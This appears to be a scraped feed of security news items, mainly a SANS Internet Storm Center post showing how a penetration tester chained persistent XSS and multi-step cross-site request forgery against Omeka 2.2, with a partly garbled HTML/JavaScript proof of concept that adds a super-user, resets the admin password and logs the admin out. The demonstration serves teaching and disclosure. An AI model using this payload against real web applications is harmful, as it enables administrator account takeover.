An anonymous author who claims to be the hacker who penetrated controversial UK-based Gamma Group International and aired 40 gigabytes of its dirty laundry has published a how-to guide for other hacktivists.

"I'm not writing this to brag about what an 31337 h4x0r I am and what m4d sk1llz it took to 0wn Gamma," wrote the author, who rightly cautions that the unauthorized access of other people's networks is illegal. "I'm writing this to demystify hacking, to show how simple it is, and to hopefully inform and inspire you to go out and hack shit. If you have no experience with programming or hacking, some of the text below might look like a foreign language. Check the resources section at the end to help you get started."

The do-it-yourself guide explains how hackers can map entryways into a target's network, scan for vulnerable services and exploit any that are found. It also lists some of the most common methods hackers use to keep their IP addresses and other digital fingerprints off their attacks. Among other things, the how-to suggests installing Whonix inside a hidden encrypted volume created by TrueCrypt and carrying out all operations from there. It also counsels against using Tor and instead using hacked servers. Again, this is illegal.

Read 1 remaining paragraphs | Comments

Sean Gallagher

LAS VEGAS—Phil Zimmermann, the creator of Pretty Good Privacy public-key encryption, has some experience when it comes to the politics of crypto. During the “crypto wars” of the 1990s, Zimmermann fought to convince the US government to stop classifying PGP as a “munition” and shut down the Clipper Chip program—an effort to create a government-mandated encryption processor that would have given the NSA a back door into all encrypted electronic communication. Now Zimmermann and the company he co-founded are working to convince telecommunications companies—mostly overseas—that it’s time to end their nearly century-long cozy relationship with governments.

Zimmermann compared telephone companies’ thinking with the long-held belief that tomatoes were toxic until it was demonstrated they weren’t. “For a long time, for a hundred years, phone companies around the world have created a culture around themselves that is very cooperative with governments in invading people’s privacy. And these phone companies tend to think that there’s no other way—that they can’t break from this culture, that the tomatoes are poisonous," he said.

A call for crypto

Back in 2005, Zimmermann, Alan Johnston, and Jon Callas began work on an encryption protocol for voice over IP (VoIP) phone calls, dubbed ZRTP, as part of his Zfone project. In 2011, ZRTP became an Internet Engineering Task Force RFC, and it has been published as open source under a BSD license. It’s also the basis of the voice service for Silent Circle, the end-to-end encrypted voice service Zimmermann co-founded with former Navy SEAL Mark Janke. Silent Circle, which Ars tested on the Blackphone in June, is a ZRTP-based voice and ephemeral messaging service that generates session-specific keys between users to encrypt from end to end. The call is tunneled over a Transport Layer Security-encrypted connection through Silent Circle’s servers in Canada and Switzerland. ZRTP and the Silent Circle calls don’t rely on PGP or any other public key infrastructure, so there’s no keys to hand over under a FISA order or law enforcement warrant.

Read 9 remaining paragraphs | Comments


I enjoy performing penetration tests, I also enjoy teaching how to do penetration testing correctly. Next time up is SANS Sec560 network penetration testing in Albuquerque, NM. When I am teaching one of the points I make is to never consider the vulnerabilities in isolation, using them in combination truly demonstrates the risk and impact. I was performing a web application penetration test, and the list of things that it was vulnerable to was quite impressive!:

The list of vulnerabilities:

  • Content can be framed
  • XSS
  • Method interchange
  • DoS, application hangs on long abnormal inputs, relies on client side validation
  • Able to upload files, including malicious content
  • Information leakage, internal server names, IP addresses, install locations...
  • XSRF
  • User enumeration via forgot password function
  • Administrators can disable their own account

We had determined that the primary threat would be for a user to escalate privileges and access information from other accounts. In order to achieve this goal we concentrated on the persistent XSS and XSRF. We would use the persistent XSS to launch the XSRF attack. We leveraged all of the vulnerabilities in one way or another, in other words, we were having a good time!

Using the XSS:

  • Create trouble ticket
  • Ticket will be first viewed by administrator
  • Script executes in the administrator browser
  • Administrator can perform all of the functions vulnerable to XSRF

A significant number of the functions were vulnerable to Cross Site Request Forgery (CSRF or XSRF), which is also known as session riding and transaction injection. The functions that were vulnerable had absolutely no anti-XSRF protection, and the interesting ones were all in the administrator part of the site. An attacker could add a new user, put the user in the administrator group, change the passwords, and log out. The problem was, each of these were different transactions, and had to be performed in the correct order to pull off the attack. The application owner and the development team did not appreciate the severity of the issue, and pointed out that their automated scanning tool had not identified the issue, therefore it didn't exist. Even if the issue did exist, it could only be of medium severity, because their tool said so. To top it all off, even if an attacker could pull off this mythical attack, it could not be done in one shot, the administrator had to click multiple times. In short, they did not appreciate the impact, the attacker would have complete control over the application. In order to make my point a demonstration was in order, that did the following:

  • Add a new user
  • Put the user in an administrator group
  • Lockout the super-user account
  • Logout the super-user accoun;
  • Did the functions in the correct order
  • Each function would wait for the last to complete
  • Was all in one HTML page
  • Would force the administrator to view a certain Rick Astley video :)
  • OK, we didn't do the last one, that would be WAY too mean.

My Google-fu was with me that day, I discovered a post by Tim Tomes (lanmaster53) that described exactly what I wanted to do. He also had sample code to start with:
The next problem was that obviously I could use their custom application to do the proof of concept, but I needed another application with similar vulnerabilities to demo for this post. Once again the Google-fu was with me:
Omeka is a free and open source web publishing application. Also quick and easy to install. Also quick and easy to exploit. Last, but not least, I could download the vulnerable version 2.2 and be up and running in no time.

Administrator (victim) logs into the application:

The add user function as seen in an interception proxy (OWASP ZAP):

The code running:

Now the code. The important parts are getting the script to run, I used a body onload. The script runs each one of the forms. The forms each contain one of the XSF attacks. Each form loads in a different iframe. The first one runs, then the second one waits from the iframe onload to fire before it runs, and so on. Victim logs in, they check their queue, the XSS runs, the XSRF runs, they have lost control of the application, attacker win.

Adrien de Beaupré
Intru-shun.ca Inc.

Check out BSides Ottawa, our CfP is still open! Con is 5-6 September
I will be teaching SANS Sec560, Network Penetration Testing next in Albuquerque, NM !




<title>XSRF Multi-post attack onload</title>
<!-- Creation Date: 31 July 2014 -->
<!-- Author: Adrien de Beaupre -->
<!-- Original code borrowed from Tim Tomes LaNMaSteR53 -->
<!-- Demonstrating multi-post XSRF-->

<body onload="runme();">
welcome to p0wned by XSRF!

<form name="xsrf0" action="http://intru-shun.ca/omeka/admin/users/add" method="POST" target="frame0">
<input type="hidden" name="username" value="hacker" />
<input type="hidden" name="name" value="evil" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="role" value="super" />
<input type="hidden" name="active" value="1" />

<form name="xsrf1" action="http://intru-shun.ca/omeka/admin/users/change-password/1" method="POST" target="frame1">
<input type="hidden" name="new_password" value="Passw0rd" />
<input type="hidden" name="new_password_confirm" value="Passw0rd" />

<form name="xsrf2" action="http://intru-shun.ca/omeka/admin/users/logout" method="POST" target=frame2">
<input type="hidden" name="Logout" value="yes" />

<iframe name="frame0"></iframe>
<iframe name="frame1"></iframe>
<iframe name="frame2"></iframe>

function runme()
document.getElementsByTagName("iframe")[0].onload = function()
document.getElementsByTagName("iframe")[1].onload = function()
alert('All your base are belong to us')


(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Much like my experience with learning to hack at RSA, learning to pick locks was something that I was very interested in learning how to do, but approached with much trepidation given that I had zero experience with the practice. Nevertheless I thought I'd give it a shot, so I headed down to the Lockpicking Village at this year's DEFCON 22 so I could be shown the ropes.

A Third of Infosec Professionals Don't Bother with Encryption
Infosecurity Magazine
Discussions surrounding data residency, lawful intercept and protecting data from advanced threats have been top of mind for many years, and recent stories shine a spotlight on the risks to data, including theft and extortion. Yet, so many IT security ...

and more »
In order to understand the strange but spectacularly profitable world of Google and Facebook today, it's important to start in the fall of 2010.

Microsoft announced in their blog on the 8th (thanks Allan for the heads up) that starting January 2016 the browsers that will be supported are: 

  • Vista SP2 - IE9
  • 2008 SP2 - IE9 
  • Windows 7 - IE11
  • 2008 R2 SP1 - IE11
  • Windows 8.1 - IE11
  • 2012 - IE10
  • 2012 R2 - IE11

​I can hear the security brain cells cheer and the business brain cells cringe.  From a security perspective running the latest browser typically makes sense.  However from a business perspective this may cause quite a few issues in many organisations.  Older applications were often written for specific browser versions, so to upgrade or allow for those to continue to function may not be a trivial task.  The blog does explain that you may be able to use "Enterprise mode" in IE11.  This might be one way to migrate for your organisation (http://blogs.msdn.com/b/ie/archive/2014/04/02/stay-up-to-date-with-enterprise-mode-for-internet-explorer-11.aspx)  

The blog entry also has what I'd like to call a few interesting throwaway lines.  For example "After January 12, 2016, only the most recent version of Internet Explorer available for a supported operating system will receive technical support and security updates." In other words you may have to migrate to IE12 when it becomes available for the OS you use.  

In short if you are not using the latest Internet Explorer in your organisation you may have limited time to get it sorted before your risk profile increases dramatically, unless of course all the bad guys promise to only concentrate on current versions of the browser. 

MS Blog can be found here --> http://blogs.msdn.com/b/ie/archive/2014/08/07/stay-up-to-date-with-internet-explorer.aspx


Mark H 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Internet Storm Center Infocon Status